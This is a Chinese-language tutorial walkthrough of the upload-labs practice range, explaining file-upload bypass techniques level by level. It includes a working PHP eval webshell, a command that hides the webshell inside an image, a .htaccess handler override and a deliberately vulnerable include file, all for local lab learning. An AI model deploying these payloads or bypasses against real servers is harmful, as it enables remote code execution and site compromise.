本文仅用于信息安全的学习,请遵守相关法律法规,严禁用于非法途径。若观众因此作出任何危害网络安全的行为,后果自负,与本人无关。
文件上传基础
01 什么是文件上传
02 文件上传产生漏洞的原因
03 文件上传漏洞危害
04 可能存在漏洞的位置
05 文件上传检测方式
06 文件上传绕过
绕过客户端检测(前端检测)
示例:
1)下载、安装phpstudy并启动(安装过程可以一路下一步,也可以改安装路径) http://public.xp.cn/upgrades/PhpStudy2018.zip
2)upload-labs靶场的安装搭建(windows)
github网址:https://github.com/Tj1ngwe1/upload-labs
百度网盘下载:https://pan.baidu.com/s/1GomtN85WkAi2Lax5XWFdrA?pwd=08mr
下载后解压缩到phpstudy目录下的WWW子文件夹中,这里要注意把压缩包的名字改成upload-labs,不然靶场的页面会显示得不对。
3)然后在输入url:HTTPS://127.0.0.1/upload-labs/就可以访问靶场。
4)upload-labs靶场第一关 Pass-01(前端验证,客户端验证)
我在第一关这里上传php文件网站报错,提示只能上传图像类型的文件,我们要绕过这个检测我们就需要知道这个上传文件的限制是前端页面做的检测还是后端服务器那边做的限制。
5)判断是前端还是后端服务器做的检测:(思路,我觉得思路才是最重要是现实的情况不是靶场是会变化的,我们学习就是学思考方式,有时选择比努力更加重要)
这里我使用Burpsuite软件进行抓包判断,如果我选择上传php文件软件有抓到包,我们就能知道文件是上传到服务器由后端检测然后做限制的,如果没有抓到包然后网页又有提示错误信息,那就证明这是前端做的限制。
首先打开我们的抓包软件并开启代理 (后面关卡就不会写的太啰嗦了)
我这里是使用谷歌浏览器的插件进行代理
注意:如果要使用Burpsuite这个软件进行抓包,那在浏览器访问本机的靶场或网站就要使用本机的ip进行访问,不要使用127.0.0.1这些访问本机的靶场会抓不到包,查看本机ip windosw命令:ipconfig # 我下面截图时忘记改url访问的ip,不用在意。
我点击上传后软件并没有抓到包,这就说明这第一关的上传限制并不是服务器限制的而是前端在写网站是做的限制(前端限制)。
既然是前端限制我们就可以点击键盘的F12 打开开发者模式,进行元素审查看看前端做的上传限制然后我们干掉这个限制
注意:这里的编辑源代码只是我们在自己的浏览器中更改只适用于前端限制,浏览器刷新后我们的更改就会被重置。
然后你会发现没啥用(按道理来说是可以的,但不知道这里为啥不行),我们换一种方法。
6)方法一:禁用JavaScript
背景:因为现在的开发行业大多数都是前后端分离,后端有很多种开发语言如:PHP、JAVA等,但前端的语言一般都是JS(JavaScript)所以这里的前端限制我们直接将JS禁用就好。
网上有很多种禁用JS的方法,我这里就介绍一种比较方便的直接使用谷歌浏览器的JS禁用功能。
最后再来测试一下,上传文件(如果上传失败,可以刷新一下网页)
如果你需要木马文件可以看这篇文章:Webshell(网页后门)
7)方法二:使用Burpsuite改包(抓包修改后缀)
背景:因为前端的检测一般都是检测文件的后缀名而不会检测文件内容,所以我们的绕过思路是把我们的后门文件的后缀名改成png/jpg或其他图片文件格式,然后再通过Burpsuite抓包修改请求数据包携带的文件后缀名改成我们真正的后门文件名如:php、java这些。
废话不多说开始实操:
开始上传并抓包
有些朋友可能这里有点理解不了,为啥我可以把一个php文件改成png上传然后通过抓包又把文件名改回来从而绕过客户端检测(前端检测),原因是前端对这个网站写的检测代码或者所有代码那都是针对当前网站的,我们里是通过抓包软件进行发包给服务端,网站的上传限制代码自然就影响不到我们的抓包软件。
如果你要访问刚才上传的后门文件,在浏览器中输入: http://本机ip/upload-labs/upload/要访问的文件名+后缀名
输入密码就能进入我们的后门文件的操作界面
绕过服务端检测
01 服务端检测
02 常见MIME类型
03 绕过MIME类型检测
示例upload-labs靶场第二关 Pass-02(后端验证,服务端验证)
在实际情况中我们首先要做的就是检测并判断网站的验证方式是前端还是后端,最简单又直接的方法就是通过抓包,如网站上传的文件限制是上传图片类型的文件(png、jpg、...)我们开启抓包后就选择上传一个不是图片类型的文件(.txt、htnl、java、php、...)这肯定会报错,这是我们就去到抓包软件如果有抓到包,那这就是后端验证(服务端)没有抓到包就是前端验证这跟我上面讲的方法一样。
像这第二关我已经检查过他是后端验证但是后端验证有很多种方式(MIME类型、文件内容、文件后缀名)判断具体是那一种方式我也没有很好的办法,都是一种一种的尝试用不了多少时间。(如果你们有更好的方法可以给我留言,一起学习,共同进步!)
然后我发现Burp抓到包了,得出结论服务端检测开始测试那那种服务端检测类型,直接测MIME类型就直接上传成功,我们这里是在靶场中直接看靶场存放上传文件的目录检测有没有上传成功,如果是现实情况直接在浏览器访问我们的后门文件能访问就是上传成功。
在靶场存放上传文件的目录下查看
04 绕过文件后缀检测一黑名单
通过一个 .htaccess 文件调用 php 的解析器去解析一个文件名中只要包含 "as.php" 这个字符串的任意文件所以无论文件名是什么样子 · 只要包含"as.php"这个字符串 · 都可以被以php的方式来解析 · 一个自定义的 htaccess 文件就可以以各种各样的方式去绕过很多上传验证机制。
示例:upload-labs靶场第三关 Pass-03(后端验证,服务端验证)
这里也是上传非图片文件抓包了服务端验证,这里就写一下简单的服务端验证判断思路,首先判断是不是MIME类型检测?直接改Content-Type为 image/png(第三关也是上传图片才改这个,现实中具体的类型需要根据实际情况更改)。是不是文件内容检测?在后门文件的第一行加上文件幻数:GIF89a(这个是图片的文件幻数)内容检测还有文件相关信息、图片渲染之类的这个不是很常见就不过多介绍,需要的可自行百度。是不是文件内容检测?把后门文件名的后缀改成大小写或后面加空格或加点
限制
- 限制几种常见后缀(包括大小写)
- 删除文件名末尾的点
- 去除特字符串 ::$DATA (php在 window 的时候如果文件名 +'::SDATA' 会把 ::SDATA之后的数据当成文体流处理,不会检测后缀名,且保持 '::SDATA' 之前的文件名,他的目的就是不检查后缀名)
绕过
首先创建一个.htaccess文件,里面写上代码(这个文件要使用命令行来创建命令:copy con .htaccess)
<FilesMatch "4.png">
SetHandler application/x-httpd-php
</FilesMatch>
这串代码的意思是如果文件中有一个4.png的文件,他就会被解析为.php,把这个文件上传上去。(参考文章)其实这里的4.png也可以改成png,意思是匹配当前文件夹下的所有文件名包含png的文件。
最后我们访问这个4.png文件 (可以用菜刀或浏览器访问)
我的4.png的内容是post类型的一句话木马,所以在浏览器访问之后还要抓包改包才能进行操作,我之前写过这种内容的文章,这里多不写了感兴趣的可以看这篇:Webshell(网页后门)
upload-labs靶场第四关 Pass-04 (一样是黑名单不过检测的后缀更多了,绕过方法和第三关一样)
upload-labs靶场第五关 Pass-05
限制
- 严格限制后缀名(包括大小写、.htaccess)
- 删除文件名末尾的点
- 去除特字符串 ::$DATA
- 删除首尾空格
绕过
通过多重点和空格来绕过:(文件名后面:点、空格、点)
我们的绕过思路就很简单,在数据包中把后缀名改为.php. .说一下他的验证过程,首先他发现有一个点,这时会把他去掉,又发现有一个空格,也会把它去掉,我们这时还有一个点,也就是.php. 由于他只是验证一次,所以不会在去掉我们的点,这时就可以上传成功,也可以解析成功(解释来源)最后一个点windos系统会自动去除。
upload-labs靶场第六关 Pass-06
限制
- 严格限制后缀名(包括大小写、.htaccess)
- 删除文件名末尾的点
- 去除特字符串 ::$DATA
绕过
在.php后面加空格
upload-labs靶场第七关 Pass-07(绕过方法后缀名加个空格与点)
第八关
绕过
利用windows系统下的NTFS文件的特性,当我们访问8.php::$data时相当于访问8.php,仅限于windows
pass9:文件后缀检测 ( 修改文件后缀名 , 添加 点空格点 , 并转发请求)
第十关和第五关一样
双写绕过原理:
代码编写过程中,只对黑名单中的内容进行空替换,因为只替换一次所以造成双写绕过(在原来文件名后面添加pph,完整的文件后缀名是:.pphphp 这一关就是把匹配上黑名单的后缀名替换为空,我们这个后缀名就是红色字体这里的替换为空,最后剩下php)
05 绕过文件后缀检测白名单
示例:upload-labs靶场第十一关 Pass-011(白名单检测,就是只允许固定的文件后缀名)
绕过 :用%00做00截断
绕过前提:php
为 5.2.X
版本、修改php的php.ini
文件,将 参数 magic_quotes_gpc
置 off
参考
(靶场如果是用我的百度网盘链接下载的就切换版本就行)
注意改完之后要刷新靶场重新抓包然后改包。
这里的上传路径是直接在URL路径上通过?拼接save_path=../upload(文件存储路径) 进行传参说明这是GET方式进行传参,我们修改也是在URL路径上
第十二关
和上一关思路一样,不过这里是POST传参,得将%00进行url编码后再提交
编码过程
06 绕过文件内容检测
第十三关:只对图片的文件头进行了检测,可以只保留文件头(参考来源)(本pass检查图标内容开头2个字节)
首先生成图片马,我这里使用一个php的一句话马和随便找一张图片
13.php
<?php @eval($_POST["pass"]);?>
生成图片马命令
# 在window下生成图片木马
copy 13.png /b + 13.php /a 13webshell.png
# 13.png是一张正常的图,13.php是保存一句话木马的php文件 13webshell.png是合并生成的文件
上传我们的图片马
访问我们图片内容包含的一句话马
这里需要在upload下创建一个文件包含文件include.php 写入(用来测试上传的图片马)(参考)
/*
本页面存在文件包含漏洞,用于测试图片马是否能正常运行!
include() 语句包含并运行指定文件
*/
<?php
$file= $_GET['file'];
include($file);
?>
执行图片马:(上传图片马容易,但是要执行图片马需要文件包含漏洞)
可以用浏览器的插件Hackbar来执行 (下载安装,网盘下载)
更改图片中的URL连接,执行图片中包含的一句话马 ,Execute按钮运行
使用菜刀连接(菜刀看这篇文章,我好像有留下载链接,没有可以给我留言我会及时补上)
第十四关 文件包含漏洞+图片马上传 参考(本pass使用getimagesize()检查是否为图片文件!)
getimagesize() 函数将测定任何 GIF,JPG,PNG,SWF,SWC,PSD,TIFF,BMP,IFF,JP2,JPX,JB2,JPC,XBM 或 WBMP 图像文件的大小并返回图像的尺寸以及文件类型及图片高度与宽度。函数成功返回的就是一个数组,失败则返回 FALSE 并产生一条 E_WARNING 级的错误信息
原文链接:https://blog.csdn.net/baidu_38294816/article/details/121022572
绕过方式和十三关一样上传图片马
第十五关 文件包含漏洞+图片马上传(本pass使用exif_imagetype()检查是否为图片文件)
绕过方式和十三关一样上传图片马
不过我访问是网页报错exif_imagetype函数未定义,解决:(参考)
绕过文件内容检测 - 文件幻数检测
绕过文件内容检测 - 文件加载检测
第十六关 二次渲染 (本pass重新渲染了图片!)
二次渲染:我们上传的图片由于大小等原因,网站对我们的图片进行了二次渲染,生成了一个新的图片,所以我们构造的图片码中的webshell语句没了。
绕过
1)先把我们的图片马上传,然后再从网站上下载下来使用工具WinHex比较差异,看那些地方被改那些没改
我这里制作gif格式的图片马,然后上传
使用软件进行对比, 黑色的地方就是不一样的
我们在下载下来的图片中找一个没有被修改的地方把我们的一句话马插入进去(尽量找大点的地方)
<?php @eval($_POST["pass"]);?>
修改完成再次上传
后面的关卡需要代码审计,我对php不熟悉就不写了,想了解的可以看这篇:文件上传 —— 靶场upload-labs-master_文件上传靶场_梅_花_七的博客-CSDN博客